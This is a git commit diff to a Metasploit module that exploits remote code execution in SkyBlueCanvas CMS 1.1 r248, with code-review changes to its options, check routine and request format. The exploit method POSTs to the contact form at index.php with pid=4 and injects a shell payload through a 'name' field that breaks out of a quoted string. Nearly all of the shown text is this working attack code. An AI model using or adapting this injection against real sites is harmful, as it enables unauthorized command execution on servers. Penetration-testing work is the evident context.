Changes as requested in SkyBlue Canvas RCE module
parent
bac6e2a3e1
commit
ffd8f7eee0
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'RequiredCmd' => 'generic perl ruby bash telnet python'
|
'RequiredCmd' => 'generic perl ruby bash telnet python'
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
'Platform' => %w{ linux unix },
|
'Platform' => %w{ unix },
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
['SkyBlueCanvas', {}]
|
['SkyBlueCanvas', {}]
|
||||||
|
@ -49,40 +49,41 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('URI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
|
OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
|
||||||
],self.class)
|
],self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
uri = normalize_uri(datastore['URI'], "index.php")
|
uri = normalize_uri(target_uri.path.to_s, "index.php")
|
||||||
|
|
||||||
res = send_request_raw(
|
res = send_request_raw(
|
||||||
{
|
{
|
||||||
'uri' => uri
|
'uri' => uri
|
||||||
}, 25)
|
})
|
||||||
|
|
||||||
if (res and res.body =~ /[1.1 r248]/)
|
if res and res.body =~ /[1.1 r248]/
|
||||||
print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
|
print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
|
||||||
return Exploit::CheckCode::Unknown
|
return Exploit::CheckCode::Appears
|
||||||
end
|
end
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
uri = normalize_uri(datastore['URI'], "index.php?pid=4")
|
uri = normalize_uri(target_uri.path.to_s, "index.php")
|
||||||
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => uri,
|
'uri' => uri,
|
||||||
|
'vars_get' => { 'pid' => '4' },
|
||||||
'vars_post' =>
|
'vars_post' =>
|
||||||
{
|
{
|
||||||
'cid' => "3",
|
'cid' => '3',
|
||||||
'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
|
'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
|
||||||
'email' => rand_text_alphanumeric(10),
|
'email' => rand_text_alphanumeric(10),
|
||||||
"subject" => rand_text_alphanumeric(10),
|
'subject' => rand_text_alphanumeric(10),
|
||||||
"message" => rand_text_alphanumeric(10),
|
'message' => rand_text_alphanumeric(10),
|
||||||
"action" => "Send"
|
'action' => 'Send'
|
||||||
}
|
}
|
||||||
}, 25)
|
})
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue